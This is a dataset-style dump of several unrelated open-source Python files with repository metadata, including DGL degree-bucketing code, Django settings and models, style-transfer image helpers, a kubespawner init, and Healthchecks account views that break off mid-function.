FeatureCorrelation() self.regression = FeatureRegression(input_nc=192, output_dim=2*opt.grid_size**2, use_cuda=True) self.gridGen = TpsGridGen(opt.fine_height, opt.fine_width, use_cuda=True, grid_size=opt.grid_size) def forward(self, inputA, inputB): featureA = self.extractionA(inputA) featureB = self.extractionB(inputB) featureA = self.l2norm(featureA) featureB = self.l2norm(featureB) correlation = self.correlation(featureA, featureB) theta = self.regression(correlation) grid = self.gridGen(theta) return grid, theta def save_checkpoint(model, save_path): if not os.path.exists(os.path.dirname(save_path)): os.makedirs(os.path.dirname(save_path)) torch.save(model.cpu().state_dict(), save_path) model.cuda() def load_checkpoint(model, checkpoint_path): if not os.path.exists(checkpoint_path): return model.load_state_dict(torch.load(checkpoint_path)) model.cuda() if __name__ == '__main__': import config tps = TpsGridGen(256,192,True) theta = torch.randn(1,6) grid = tps(theta) print(grid.shape)
true
true
f7f39a195a0c48f2a11cd302ef453e7a3ff5a869
737
py
Python
tracking/settings.py
mjschultz/django-tracking2
19679bd16b94e1cc4c9d5bd1abcc01e55dcac49c
[ "BSD-2-Clause" ]
null
null
null
tracking/settings.py
mjschultz/django-tracking2
19679bd16b94e1cc4c9d5bd1abcc01e55dcac49c
[ "BSD-2-Clause" ]
null
null
null
tracking/settings.py
mjschultz/django-tracking2
19679bd16b94e1cc4c9d5bd1abcc01e55dcac49c
[ "BSD-2-Clause" ]
null
null
null
from django.conf import settings TRACK_AJAX_REQUESTS = getattr(settings, 'TRACK_AJAX_REQUESTS', False) TRACK_ANONYMOUS_USERS = getattr(settings, 'TRACK_ANONYMOUS_USERS', True) TRACK_PAGEVIEWS = getattr(settings, 'TRACK_PAGEVIEWS', False) TRACK_IGNORE_URLS = getattr(settings, 'TRACK_IGNORE_URLS', ( r'^(favicon\.ico|robots\.txt)$', )) TRACK_IGNORE_STATUS_CODES = getattr(settings, 'TRACK_IGNORE_STATUS_CODES', []) TRACK_USING_GEOIP = getattr(settings, 'TRACK_USING_GEOIP', False) if hasattr(settings, 'TRACKING_USE_GEOIP'): raise DeprecationWarning('TRACKING_USE_GEOIP is now TRACK_USING_GEOIP') TRACK_REFERER = getattr(settings, 'TRACK_REFERER', False) TRACK_QUERY_STRING = getattr(settings, 'TRACK_QUERY_STRING', False)
35.095238
78
0.793758
from django.conf import settings TRACK_AJAX_REQUESTS = getattr(settings, 'TRACK_AJAX_REQUESTS', False) TRACK_ANONYMOUS_USERS = getattr(settings, 'TRACK_ANONYMOUS_USERS', True) TRACK_PAGEVIEWS = getattr(settings, 'TRACK_PAGEVIEWS', False) TRACK_IGNORE_URLS = getattr(settings, 'TRACK_IGNORE_URLS', ( r'^(favicon\.ico|robots\.txt)$', )) TRACK_IGNORE_STATUS_CODES = getattr(settings, 'TRACK_IGNORE_STATUS_CODES', []) TRACK_USING_GEOIP = getattr(settings, 'TRACK_USING_GEOIP', False) if hasattr(settings, 'TRACKING_USE_GEOIP'): raise DeprecationWarning('TRACKING_USE_GEOIP is now TRACK_USING_GEOIP') TRACK_REFERER = getattr(settings, 'TRACK_REFERER', False) TRACK_QUERY_STRING = getattr(settings, 'TRACK_QUERY_STRING', False)
true
true
f7f39bc5483da6e11f2b0ec25a0274862b19d16c
6,490
py
Python
python/dgl/runtime/degree_bucketing.py
mori97/dgl
646d1ab186b3280b99267e106da6b0b8ad12a8ba
[ "Apache-2.0" ]
1
2019-01-28T06:36:05.000Z
2019-01-28T06:36:05.000Z
python/dgl/runtime/degree_bucketing.py
tbmihailov/dgl
ed1948b5555106dee133cef91ed9ecfd3bd4310d
[ "Apache-2.0" ]
null
null
null
python/dgl/runtime/degree_bucketing.py
tbmihailov/dgl
ed1948b5555106dee133cef91ed9ecfd3bd4310d
[ "Apache-2.0" ]
null
null
null
"""Module for degree bucketing schedulers.""" from __future__ import absolute_import from .._ffi.function import _init_api from ..base import is_all from .. import backend as F from ..udf import NodeBatch from .. import utils from . import ir from .ir import var def gen_degree_bucketing_schedule( graph, reduce_udf, message_ids, dst_nodes, recv_nodes, var_nf, var_mf, var_out): """Create degree bucketing schedule. The messages will be divided by their receivers into buckets. Each bucket contains nodes that have the same in-degree. The reduce UDF will be applied on each bucket. The per-bucket result will be merged according to the *unique-ascending order* of the recv node ids. The order is important to be compatible with other reduce scheduler such as v2v_spmv. Parameters ---------- graph : DGLGraph DGLGraph to use reduce_udf : callable The UDF to reduce messages. message_ids : utils.Index The variable for message ids. Invariant: len(message_ids) == len(dst_nodes) dst_nodes : utils.Index The variable for dst node of each message. Invariant: len(message_ids) == len(dst_nodes) recv_nodes : utils.Index The unique nodes that perform recv. Invariant: recv_nodes = sort(unique(dst_nodes)) var_nf : var.FEAT_DICT The variable for node feature frame. var_mf : var.FEAT_DICT The variable for message frame. var_out : var.FEAT_DICT The variable for output feature dicts. """ buckets = _degree_bucketing_schedule(message_ids, dst_nodes, recv_nodes) # generate schedule _, degs, buckets, msg_ids, zero_deg_nodes = buckets # loop over each bucket idx_list = [] fd_list = [] for deg, vbkt, mid in zip(degs, buckets, msg_ids): # create per-bkt rfunc rfunc = _create_per_bkt_rfunc(graph, reduce_udf, deg, vbkt) # vars vbkt = var.IDX(vbkt) mid = var.IDX(mid) rfunc = var.FUNC(rfunc) # recv on each bucket fdvb = ir.READ_ROW(var_nf, vbkt) fdmail = ir.READ_ROW(var_mf, mid) fdvb = ir.NODE_UDF(rfunc, fdvb, fdmail, ret=fdvb) # reuse var # save for merge idx_list.append(vbkt) fd_list.append(fdvb) if zero_deg_nodes is not None: # NOTE: there must be at least one non-zero-deg node; otherwise, # degree bucketing should not be called. var_0deg = var.IDX(zero_deg_nodes) zero_feat = ir.NEW_DICT(var_out, var_0deg, fd_list[0]) idx_list.append(var_0deg) fd_list.append(zero_feat) # merge buckets according to the ascending order of the node ids. all_idx = F.cat([idx.data.tousertensor() for idx in idx_list], dim=0) _, order = F.sort_1d(all_idx) var_order = var.IDX(utils.toindex(order)) reduced_feat = ir.MERGE_ROW(var_order, fd_list) ir.WRITE_DICT_(var_out, reduced_feat) def _degree_bucketing_schedule(mids, dsts, v): """Return the bucketing by degree scheduling for destination nodes of messages Parameters ---------- mids: utils.Index edge id for each message dsts: utils.Index destination node for each message v: utils.Index all receiving nodes (for checking zero degree nodes) """ buckets = _CAPI_DGLDegreeBucketing(mids.todgltensor(), dsts.todgltensor(), v.todgltensor()) return _process_buckets(buckets) def _degree_bucketing_for_edges(dsts): """Return the bucketing by degree scheduling for destination nodes of messages Parameters ---------- dsts: utils.Index destination node for each message """ buckets = _CAPI_DGLDegreeBucketingForEdges(dsts.todgltensor()) return _process_buckets(buckets) def _degree_bucketing_for_graph(graph, v): """Return the bucketing by degree scheduling given graph index and optional dst nodes Parameters: ----------- graph: GraphIndex DGLGraph Index (update all case) or message graph index (recv cases) v: utils.Index Destination nodes (recv cases) """ if is_all(v): buckets = _CAPI_DGLDegreeBucketingForFullGraph(graph._handle) else: buckets = _CAPI_DGLDegreeBucketingForRecvNodes(graph._handle, v.todgltensor()) return _process_buckets(buckets) def _process_buckets(buckets): """read bucketing auxiliary data Returns ------- unique_v: utils.Index unqiue destination nodes degrees: numpy.ndarray A list of degree for each bucket v_bkt: list of utils.Index A list of node id buckets, nodes in each bucket have the same degree msg_ids: list of utils.Index A list of message id buckets, each node in the ith node id bucket has degree[i] messages in the ith message id bucket zero_deg_nodes : utils.Index The zero-degree nodes """ # get back results degs = utils.toindex(buckets(0)) v = utils.toindex(buckets(1)) # XXX: convert directly from ndarary to python list? v_section = buckets(2).asnumpy().tolist() msg_ids = utils.toindex(buckets(3)) msg_section = buckets(4).asnumpy().tolist() # split buckets msg_ids = msg_ids.tousertensor() dsts = F.split(v.tousertensor(), v_section, 0) msg_ids = F.split(msg_ids, msg_section, 0) # convert to utils.Index dsts = [utils.toindex(dst) for dst in dsts] msg_ids = [utils.toindex(msg_id) for msg_id in msg_ids] # handle zero deg degs = degs.tonumpy() if degs[-1] == 0: degs = degs[:-1] zero_deg_nodes = dsts[-1] dsts = dsts[:-1] else: zero_deg_nodes = None return v, degs, dsts, msg_ids, zero_deg_nodes def _create_per_bkt_rfunc(graph, reduce_udf, deg, vbkt): """Internal function to generate the per degree bucket node UDF.""" def _rfunc_wrapper(node_data, mail_data): def _reshaped_getter(key): msg = mail_data[key] new_shape = (len(vbkt), deg) + F.shape(msg)[1:] return F.reshape(msg, new_shape) reshaped_mail_data = utils.LazyDict(_reshaped_getter, mail_data.keys()) nbatch = NodeBatch(graph, vbkt, node_data, reshaped_mail_data) return reduce_udf(nbatch) return _rfunc_wrapper _init_api("dgl.runtime.degree_bucketing")
33.626943
79
0.65624
from __future__ import absolute_import from .._ffi.function import _init_api from ..base import is_all from .. import backend as F from ..udf import NodeBatch from .. import utils from . import ir from .ir import var def gen_degree_bucketing_schedule( graph, reduce_udf, message_ids, dst_nodes, recv_nodes, var_nf, var_mf, var_out): buckets = _degree_bucketing_schedule(message_ids, dst_nodes, recv_nodes) _, degs, buckets, msg_ids, zero_deg_nodes = buckets idx_list = [] fd_list = [] for deg, vbkt, mid in zip(degs, buckets, msg_ids): rfunc = _create_per_bkt_rfunc(graph, reduce_udf, deg, vbkt) vbkt = var.IDX(vbkt) mid = var.IDX(mid) rfunc = var.FUNC(rfunc) fdvb = ir.READ_ROW(var_nf, vbkt) fdmail = ir.READ_ROW(var_mf, mid) fdvb = ir.NODE_UDF(rfunc, fdvb, fdmail, ret=fdvb) idx_list.append(vbkt) fd_list.append(fdvb) if zero_deg_nodes is not None: var_0deg = var.IDX(zero_deg_nodes) zero_feat = ir.NEW_DICT(var_out, var_0deg, fd_list[0]) idx_list.append(var_0deg) fd_list.append(zero_feat) all_idx = F.cat([idx.data.tousertensor() for idx in idx_list], dim=0) _, order = F.sort_1d(all_idx) var_order = var.IDX(utils.toindex(order)) reduced_feat = ir.MERGE_ROW(var_order, fd_list) ir.WRITE_DICT_(var_out, reduced_feat) def _degree_bucketing_schedule(mids, dsts, v): buckets = _CAPI_DGLDegreeBucketing(mids.todgltensor(), dsts.todgltensor(), v.todgltensor()) return _process_buckets(buckets) def _degree_bucketing_for_edges(dsts): buckets = _CAPI_DGLDegreeBucketingForEdges(dsts.todgltensor()) return _process_buckets(buckets) def _degree_bucketing_for_graph(graph, v): if is_all(v): buckets = _CAPI_DGLDegreeBucketingForFullGraph(graph._handle) else: buckets = _CAPI_DGLDegreeBucketingForRecvNodes(graph._handle, v.todgltensor()) return _process_buckets(buckets) def _process_buckets(buckets): degs = utils.toindex(buckets(0)) v = utils.toindex(buckets(1)) v_section = buckets(2).asnumpy().tolist() msg_ids = utils.toindex(buckets(3)) msg_section = buckets(4).asnumpy().tolist() msg_ids = msg_ids.tousertensor() dsts = F.split(v.tousertensor(), v_section, 0) msg_ids = F.split(msg_ids, msg_section, 0) dsts = [utils.toindex(dst) for dst in dsts] msg_ids = [utils.toindex(msg_id) for msg_id in msg_ids] degs = degs.tonumpy() if degs[-1] == 0: degs = degs[:-1] zero_deg_nodes = dsts[-1] dsts = dsts[:-1] else: zero_deg_nodes = None return v, degs, dsts, msg_ids, zero_deg_nodes def _create_per_bkt_rfunc(graph, reduce_udf, deg, vbkt): def _rfunc_wrapper(node_data, mail_data): def _reshaped_getter(key): msg = mail_data[key] new_shape = (len(vbkt), deg) + F.shape(msg)[1:] return F.reshape(msg, new_shape) reshaped_mail_data = utils.LazyDict(_reshaped_getter, mail_data.keys()) nbatch = NodeBatch(graph, vbkt, node_data, reshaped_mail_data) return reduce_udf(nbatch) return _rfunc_wrapper _init_api("dgl.runtime.degree_bucketing")
true
true
f7f39c687d74219c7bbe17d8dc167b9114b5ebcf
2,461
py
Python
utils.py
JJUNGYUN/tensorflow-fast-style-transfer
faf8608399b14de008edf533169b2cf25c811dbc
[ "Apache-2.0" ]
null
null
null
utils.py
JJUNGYUN/tensorflow-fast-style-transfer
faf8608399b14de008edf533169b2cf25c811dbc
[ "Apache-2.0" ]
null
null
null
utils.py
JJUNGYUN/tensorflow-fast-style-transfer
faf8608399b14de008edf533169b2cf25c811dbc
[ "Apache-2.0" ]
null
null
null
import numpy as np import PIL.Image import os import scipy from matplotlib.pyplot import imread, imsave from skimage.transform import resize """Helper-functions to load MSCOCO DB""" # borrowed from https://github.com/lengstrom/fast-style-transfer/blob/master/src/utils.py def get_img(src, img_size=False): img = imread(src) if not (len(img.shape) == 3 and img.shape[2] == 3): img = np.dstack((img,img,img)) if img_size != False: img = resize(img, img_size) return img def get_files(img_dir): files = list_files(img_dir) return list(map(lambda x: os.path.join(img_dir,x), files)) def list_files(in_path): files = [] for (dirpath, dirnames, filenames) in os.walk(in_path): files.extend(filenames) break return files """Helper-functions for image manipulation""" # borrowed from https://github.com/Hvass-Labs/TensorFlow-Tutorials/blob/master/15_Style_Transfer.ipynb # This function loads an image and returns it as a numpy array of floating-points. # The image can be automatically resized so the largest of the height or width equals max_size. # or resized to the given shape def load_image(filename, shape=None, max_size=None): image = PIL.Image.open(filename) if max_size is not None: # Calculate the appropriate rescale-factor for # ensuring a max height and width, while keeping # the proportion between them. factor = float(max_size) / np.max(image.size) # Scale the image's height and width. size = np.array(image.size) * factor # The size is now floating-point because it was scaled. # But PIL requires the size to be integers. size = size.astype(int) # Resize the image. image = resize(size, PIL.Image.LANCZOS) # PIL.Image.LANCZOS is one of resampling filter if shape is not None: image = resize(shape, PIL.Image.LANCZOS) # PIL.Image.LANCZOS is one of resampling filter # Convert to numpy floating-point array. return np.float32(image) # Save an image as a jpeg-file. # The image is given as a numpy array with pixel-values between 0 and 255. def save_image(image, filename): # Ensure the pixel-values are between 0 and 255. image = np.clip(image, 0.0, 255.0) # Convert to bytes. image = image.astype(np.uint8) # Write the image-file in jpeg-format. with open(filename, 'wb') as file: PIL.Image.fromarray(image).save(file, 'jpeg')
34.180556
102
0.69037
import numpy as np import PIL.Image import os import scipy from matplotlib.pyplot import imread, imsave from skimage.transform import resize def get_img(src, img_size=False): img = imread(src) if not (len(img.shape) == 3 and img.shape[2] == 3): img = np.dstack((img,img,img)) if img_size != False: img = resize(img, img_size) return img def get_files(img_dir): files = list_files(img_dir) return list(map(lambda x: os.path.join(img_dir,x), files)) def list_files(in_path): files = [] for (dirpath, dirnames, filenames) in os.walk(in_path): files.extend(filenames) break return files def load_image(filename, shape=None, max_size=None): image = PIL.Image.open(filename) if max_size is not None: factor = float(max_size) / np.max(image.size) size = np.array(image.size) * factor # The size is now floating-point because it was scaled. # But PIL requires the size to be integers. size = size.astype(int) # Resize the image. image = resize(size, PIL.Image.LANCZOS) # PIL.Image.LANCZOS is one of resampling filter if shape is not None: image = resize(shape, PIL.Image.LANCZOS) # PIL.Image.LANCZOS is one of resampling filter # Convert to numpy floating-point array. return np.float32(image) # Save an image as a jpeg-file. # The image is given as a numpy array with pixel-values between 0 and 255. def save_image(image, filename): # Ensure the pixel-values are between 0 and 255. image = np.clip(image, 0.0, 255.0) # Convert to bytes. image = image.astype(np.uint8) # Write the image-file in jpeg-format. with open(filename, 'wb') as file: PIL.Image.fromarray(image).save(file, 'jpeg')
true
true
f7f39cf6b9e9202cf9a62bd75c6982b877d8a1d5
572
py
Python
asylumwatch/asylum_registrations/models.py
PieterBlomme/asylumwatch
798252ec1d71e9fac65965cbc08ebd3a0634a77c
[ "MIT" ]
null
null
null
asylumwatch/asylum_registrations/models.py
PieterBlomme/asylumwatch
798252ec1d71e9fac65965cbc08ebd3a0634a77c
[ "MIT" ]
null
null
null
asylumwatch/asylum_registrations/models.py
PieterBlomme/asylumwatch
798252ec1d71e9fac65965cbc08ebd3a0634a77c
[ "MIT" ]
null
null
null
from django.db import models # Create your models here. class AsylumRegistration(models.Model): destination_country = models.CharField(max_length=200) pub_date = models.DateField('date published') source_country = models.CharField(max_length=200) number_of_requests = models.IntegerField(default=0) refugee_status_approved = models.IntegerField(default=0) subsidiary_protection_status_approved = models.IntegerField(default=0) refugee_status_revoked = models.IntegerField(default=0) refugee_status_refused = models.IntegerField(default=0)
44
74
0.795455
from django.db import models class AsylumRegistration(models.Model): destination_country = models.CharField(max_length=200) pub_date = models.DateField('date published') source_country = models.CharField(max_length=200) number_of_requests = models.IntegerField(default=0) refugee_status_approved = models.IntegerField(default=0) subsidiary_protection_status_approved = models.IntegerField(default=0) refugee_status_revoked = models.IntegerField(default=0) refugee_status_refused = models.IntegerField(default=0)
true
true
f7f39d1d86000824a5ba9ba6b92658175915bce2
530
py
Python
kubespawner/__init__.py
ondave/kubespawner
351540ef1610e76eaf9b0176825e1249706c5a8c
[ "BSD-3-Clause" ]
null
null
null
kubespawner/__init__.py
ondave/kubespawner
351540ef1610e76eaf9b0176825e1249706c5a8c
[ "BSD-3-Clause" ]
null
null
null
kubespawner/__init__.py
ondave/kubespawner
351540ef1610e76eaf9b0176825e1249706c5a8c
[ "BSD-3-Clause" ]
null
null
null
""" JupyterHub Spawner to spawn user notebooks on a Kubernetes cluster. After installation, you can enable it by adding:: c.JupyterHub.spawner_class = 'kubespawner.KubeSpawner' in your `jupyterhub_config.py` file. """ # We export KubeSpawner specifically here. This simplifies import for users. # Users can simply import kubespawner.KubeSpawner in their applications # instead of the more verbose import kubespawner.spawner.KubeSpawner. from .spawner import KubeSpawner __version__ = '3.0.2.dev' __all__ = ["KubeSpawner"]
31.176471
76
0.784906
from .spawner import KubeSpawner __version__ = '3.0.2.dev' __all__ = ["KubeSpawner"]
true
true
f7f39dac0ba2c43349807825d1202d67b3083381
13,066
py
Python
hc/accounts/views.py
Lemmah/healthchecks-clone
7341ca89757950868c0d24debd7618349f25b094
[ "BSD-3-Clause" ]
null
null
null
hc/accounts/views.py
Lemmah/healthchecks-clone
7341ca89757950868c0d24debd7618349f25b094
[ "BSD-3-Clause" ]
null
null
null
hc/accounts/views.py
Lemmah/healthchecks-clone
7341ca89757950868c0d24debd7618349f25b094
[ "BSD-3-Clause" ]
1
2021-05-21T19:50:52.000Z
2021-05-21T19:50:52.000Z
from datetime import timedelta as td import uuid import re from django.conf import settings from django.contrib import messages from django.contrib.auth import login as auth_login from django.contrib.auth import logout as auth_logout from django.contrib.auth import authenticate from django.contrib.auth.decorators import login_required from django.contrib.auth.models import User from django.core import signing from django.http import HttpResponseForbidden, HttpResponseBadRequest from django.shortcuts import redirect, render from django.utils.timezone import now from django.views.decorators.http import require_POST from hc.accounts.forms import (ChangeEmailForm, EmailPasswordForm, InviteTeamMemberForm, RemoveTeamMemberForm, ReportSettingsForm, SetPasswordForm, TeamNameForm) from hc.accounts.models import Profile, Member from hc.api.models import Channel, Check from hc.lib.badges import get_badge_url from hc.payments.models import Subscription def _make_user(email): username = str(uuid.uuid4())[:30] user = User(username=username, email=email) user.set_unusable_password() user.save() # Ensure a profile gets created Profile.objects.for_user(user) channel = Channel() channel.user = user channel.kind = "email" channel.value = email channel.email_verified = True channel.save() return user def _associate_demo_check(request, user): if "welcome_code" not in request.session: return try: check = Check.objects.get(code=request.session["welcome_code"]) except Check.DoesNotExist: return # Only associate demo check if it doesn't have an owner already. if check.user: return check.user = user check.save() check.assign_all_channels() del request.session["welcome_code"] def _ensure_own_team(request): """ Make sure user is switched to their own team. """ if request.team != request.profile: request.team = request.profile request.profile.current_team = request.profile request.profile.save() def login(request, show_password=False): bad_credentials = False if request.method == 'POST': form = EmailPasswordForm(request.POST) if form.is_valid(): email = form.cleaned_data["email"] password = form.cleaned_data["password"] if len(password): user = authenticate(username=email, password=password) if user is not None and user.is_active: auth_login(request, user) return redirect("hc-checks") bad_credentials = True show_password = True else: user = None try: user = User.objects.get(email=email) except User.DoesNotExist: if settings.REGISTRATION_OPEN: user = _make_user(email) _associate_demo_check(request, user) else: bad_credentials = True if user: profile = Profile.objects.for_user(user) profile.send_instant_login_link() return redirect("hc-login-link-sent") else: form = EmailPasswordForm() bad_link = request.session.pop("bad_link", None) ctx = { "form": form, "bad_credentials": bad_credentials, "bad_link": bad_link, "show_password": show_password } return render(request, "accounts/login.html", ctx) def logout(request): auth_logout(request) return redirect("hc-index") def login_link_sent(request): return render(request, "accounts/login_link_sent.html") def link_sent(request): return render(request, "accounts/link_sent.html") def check_token(request, username, token): if request.user.is_authenticated and request.user.username == username: # User is already logged in return redirect("hc-checks") # Some email servers open links in emails to check for malicious content. # To work around this, we sign user in if the method is POST. # # If the method is GET, we instead serve a HTML form and a piece # of Javascript to automatically submit it. if request.method == "POST": user = authenticate(username=username, token=token) if user is not None and user.is_active: # This should get rid of "welcome_code" in session request.session.flush() user.profile.token = "" user.profile.save() auth_login(request, user) return redirect("hc-checks") request.session["bad_link"] = True return redirect("hc-login") return render(request, "accounts/check_token_submit.html") @login_required def profile(request): _ensure_own_team(request) profile = request.profile ctx = { "page": "profile", "profile": profile, "show_api_key": False, "api_status": "default", "team_status": "default" } if request.method == "POST": if "change_email" in request.POST: profile.send_change_email_link() return redirect("hc-link-sent") elif "set_password" in request.POST: profile.send_set_password_link() return redirect("hc-link-sent") elif "create_api_key" in request.POST: profile.set_api_key() ctx["show_api_key"] = True ctx["api_key_created"] = True ctx["api_status"] = "success" elif "revoke_api_key" in request.POST: profile.api_key = "" profile.save() ctx["api_key_revoked"] = True ctx["api_status"] = "info" elif "show_api_key" in request.POST: ctx["show_api_key"] = True elif "invite_team_member" in request.POST: if not profile.can_invite(): return HttpResponseForbidden() form = InviteTeamMemberForm(request.POST) if form.is_valid(): email = form.cleaned_data["email"] try: user = User.objects.get(email=email) except User.DoesNotExist: user = _make_user(email) profile.invite(user) ctx["team_member_invited"] = email ctx["team_status"] = "success" elif "remove_team_member" in request.POST: form = RemoveTeamMemberForm(request.POST) if form.is_valid(): email = form.cleaned_data["email"] farewell_user = User.objects.get(email=email) farewell_user.profile.current_team = None farewell_user.profile.save() Member.objects.filter(team=profile, user=farewell_user).delete() ctx["team_member_removed"] = email ctx["team_status"] = "info" elif "set_team_name" in request.POST: form = TeamNameForm(request.POST) if form.is_valid(): profile.team_name = form.cleaned_data["team_name"] profile.save() ctx["team_name_updated"] = True ctx["team_status"] = "success" return render(request, "accounts/profile.html", ctx) @login_required def notifications(request): _ensure_own_team(request) profile = request.profile ctx = { "status": "default", "page": "profile", "profile": profile } if request.method == "POST": form = ReportSettingsForm(request.POST) if form.is_valid(): if profile.reports_allowed != form.cleaned_data["reports_allowed"]: profile.reports_allowed = form.cleaned_data["reports_allowed"] if profile.reports_allowed: profile.next_report_date = now() + td(days=30) else: profile.next_report_date = None if profile.nag_period != form.cleaned_data["nag_period"]: # Set the new nag period profile.nag_period = form.cleaned_data["nag_period"] # and schedule next_nag_date: if profile.nag_period: profile.next_nag_date = now() + profile.nag_period else: profile.next_nag_date = None profile.save() ctx["status"] = "info" return render(request, "accounts/notifications.html", ctx) @login_required def badges(request): _ensure_own_team(request) tags = set() for check in Check.objects.filter(user=request.team.user): tags.update(check.tags_list()) username = request.user.username urls = [] for tag in sorted(tags, key=lambda s: s.lower()): if not re.match("^[\w-]+$", tag): continue urls.append({ "svg": get_badge_url(username, tag), "json": get_badge_url(username, tag, format="json"), }) ctx = { "page": "profile", "urls": urls, "master": { "svg": get_badge_url(username, "*"), "json": get_badge_url(username, "*", format="json") } } return render(request, "accounts/badges.html", ctx) @login_required def set_password(request, token): if not request.profile.check_token(token, "set-password"): return HttpResponseBadRequest() if request.method == "POST": form = SetPasswordForm(request.POST) if form.is_valid(): password = form.cleaned_data["password"] request.user.set_password(password) request.user.save() request.profile.token = "" request.profile.save() # Setting a password logs the user out, so here we # log them back in. u = authenticate(username=request.user.email, password=password) auth_login(request, u) messages.success(request, "Your password has been set!") return redirect("hc-profile") return render(request, "accounts/set_password.html", {}) @login_required def change_email(request, token): if not request.profile.check_token(token, "change-email"): return HttpResponseBadRequest() if request.method == "POST": form = ChangeEmailForm(request.POST) if form.is_valid(): request.user.email = form.cleaned_data["email"] request.user.set_unusable_password() request.user.save() request.profile.token = "" request.profile.save() return redirect("hc-change-email-done") else: form = ChangeEmailForm() return render(request, "accounts/change_email.html", {"form": form}) def change_email_done(request): return render(request, "accounts/change_email_done.html") def unsubscribe_reports(request, username): if ":" in username: signer = signing.TimestampSigner(salt="reports") try: username = signer.unsign(username) except signing.BadSignature: return render(request, "bad_link.html") else: # Username is not signed but there should be a ?token=... parameter # This is here for backwards compatibility and will be removed # at some point. try: signing.Signer().unsign(request.GET.get("token")) except signing.BadSignature: return render(request, "bad_link.html") user = User.objects.get(username=username) profile = Profile.objects.for_user(user) profile.reports_allowed = False profile.nag_period = td() profile.save() return render(request, "accounts/unsubscribed.html") @login_required def switch_team(request, target_username): try: target_team = Profile.objects.get(user__username=target_username) except Profile.DoesNotExist: return HttpResponseForbidden() # The rules: # Superuser can switch to any team. access_ok = request.user.is_superuser # Users can switch to their own teams. if not access_ok and target_team == request.profile: access_ok = True # Users can switch to teams they are members of. if not access_ok: access_ok = request.user.memberships.filter(team=target_team).exists() if not access_ok: return HttpResponseForbidden() request.profile.current_team = target_team request.profile.save() return redirect("hc-checks") @require_POST @login_required def close(request): user = request.user # Subscription needs to be canceled before it is deleted: sub = Subscription.objects.filter(user=user).first() if sub: sub.cancel() user.delete() # Deleting user also deletes its profile, checks, channels etc. request.session.flush() return redirect("hc-index")
30.888889
79
0.614113
from datetime import timedelta as td import uuid import re from django.conf import settings from django.contrib import messages from django.contrib.auth import login as auth_login from django.contrib.auth import logout as auth_logout from django.contrib.auth import authenticate from django.contrib.auth.decorators import login_required from django.contrib.auth.models import User from django.core import signing from django.http import HttpResponseForbidden, HttpResponseBadRequest from django.shortcuts import redirect, render from django.utils.timezone import now from django.views.decorators.http import require_POST from hc.accounts.forms import (ChangeEmailForm, EmailPasswordForm, InviteTeamMemberForm, RemoveTeamMemberForm, ReportSettingsForm, SetPasswordForm, TeamNameForm) from hc.accounts.models import Profile, Member from hc.api.models import Channel, Check from hc.lib.badges import get_badge_url from hc.payments.models import Subscription def _make_user(email): username = str(uuid.uuid4())[:30] user = User(username=username, email=email) user.set_unusable_password() user.save() Profile.objects.for_user(user) channel = Channel() channel.user = user channel.kind = "email" channel.value = email channel.email_verified = True channel.save() return user def _associate_demo_check(request, user): if "welcome_code" not in request.session: return try: check = Check.objects.get(code=request.session["welcome_code"]) except Check.DoesNotExist: return if check.user: return check.user = user check.save() check.assign_all_channels() del request.session["welcome_code"] def _ensure_own_team(request): if request.team != request.profile: request.team = request.profile request.profile.current_team = request.profile request.profile.save() def login(request, show_password=False): bad_credentials = False if request.method == 'POST': form = EmailPasswordForm(request.POST) if form.is_valid(): email = form.cleaned_data["email"] password = form.cleaned_data["password"] if len(password): user = authenticate(username=email, password=password) if user is not None and user.is_active: auth_login(request, user) return redirect("hc-checks") bad_credentials = True show_password = True else: user = None try: user = User.objects.get(email=email) except User.DoesNotExist: if settings.REGISTRATION_OPEN: user = _make_user(email) _associate_demo_check(request, user) else: bad_credentials = True if user: profile = Profile.objects.for_user(user) profile.send_instant_login_link() return redirect("hc-login-link-sent") else: form = EmailPasswordForm() bad_link = request.session.pop("bad_link", None) ctx = { "form": form, "bad_credentials": bad_credentials, "bad_link": bad_link, "show_password": show_password } return render(request, "accounts/login.html", ctx) def logout(request): auth_logout(request) return redirect("hc-index") def login_link_sent(request): return render(request, "accounts/login_link_sent.html") def link_sent(request): return render(request, "accounts/link_sent.html") def check_token(request, username, token): if request.user.is_authenticated and request.user.username == username: # User is already logged in return redirect("hc-checks") # Some email servers open links in emails to check for malicious content. # To work around this, we sign user in if the method is POST. # # If the method is GET, we instead serve a HTML form and a piece # of Javascript to automatically submit it. if request.method == "POST": user = authenticate(username=username, token=token) if user is not None and user.is_active: # This should get rid of "welcome_code" in session request.session.flush() user.profile.token = "" user.profile.save() auth_login(request, user) return redirect("hc-checks") request.session["bad_link"] = True return redirect("hc-login") return render(request, "accounts/check_token_submit.html") @login_required def profile(request): _ensure_own_team(request) profile = request.profile ctx = { "page": "profile", "profile": profile, "show_api_key": False, "api_status": "default", "team_status": "default" } if request.method == "POST": if "change_email" in request.POST: profile.send_change_email_link() return redirect("hc-link-sent") elif "set_password" in request.POST: profile.send_set_password_link() return redirect("hc-link-sent") elif "create_api_key" in request.POST: profile.set_api_key() ctx["show_api_key"] = True ctx["api_key_created"] = True ctx["api_status"] = "success" elif "revoke_api_key" in request.POST: profile.api_key = "" profile.save() ctx["api_key_revoked"] = True ctx["api_status"] = "info" elif "show_api_key" in request.POST: ctx["show_api_key"] = True elif "invite_team_member" in request.POST: if not profile.can_invite(): return HttpResponseForbidden() form = InviteTeamMemberForm(request.POST) if form.is_valid(): email = form.cleaned_data["email"] try: user = User.objects.get(email=email) except User.DoesNotExist: user = _make_user(email) profile.invite(user) ctx["team_member_invited"] = email ctx["team_status"] = "success" elif "remove_team_member" in request.POST: form = RemoveTeamMemberForm(request.POST) if form.is_valid(): email = form.cleaned_data["email"] farewell_user = User.objects.get(email=email) farewell_user.profile.current_team = None farewell_user.profile.save() Member.objects.filter(team=profile, user=farewell_user).delete() ctx["team_member_removed"] = email ctx["team_status"] = "info" elif "set_team_name" in request.POST: form = TeamNameForm(request.POST) if form.is_valid(): profile.team_name = form.cleaned_data["team_name"] profile.save() ctx["team_name_updated"] = True ctx["team_status"] = "success" return render(request, "accounts/profile.html", ctx) @login_required def notifications(request): _ensure_own_team(request) profile = request.profile ctx = { "status": "default", "page": "profile", "profile": profile } if request.method == "POST": form = ReportSettingsForm(request.POST) if form.is_valid(): if profile.reports_allowed != form.cleaned_data["reports_allowed"]: profile.reports_allowed = form.cleaned_data["reports_allowed"] if profile.reports_allowed: profile.next_report_date = now() + td(days=30) else: profile.next_report_date = None if profile.nag_period != form.cleaned_data["nag_period"]: # Set the new nag period profile.nag_period = form.cleaned_data["nag_period"] # and schedule next_nag_date: if profile.nag_period: profile.next_nag_date = now() 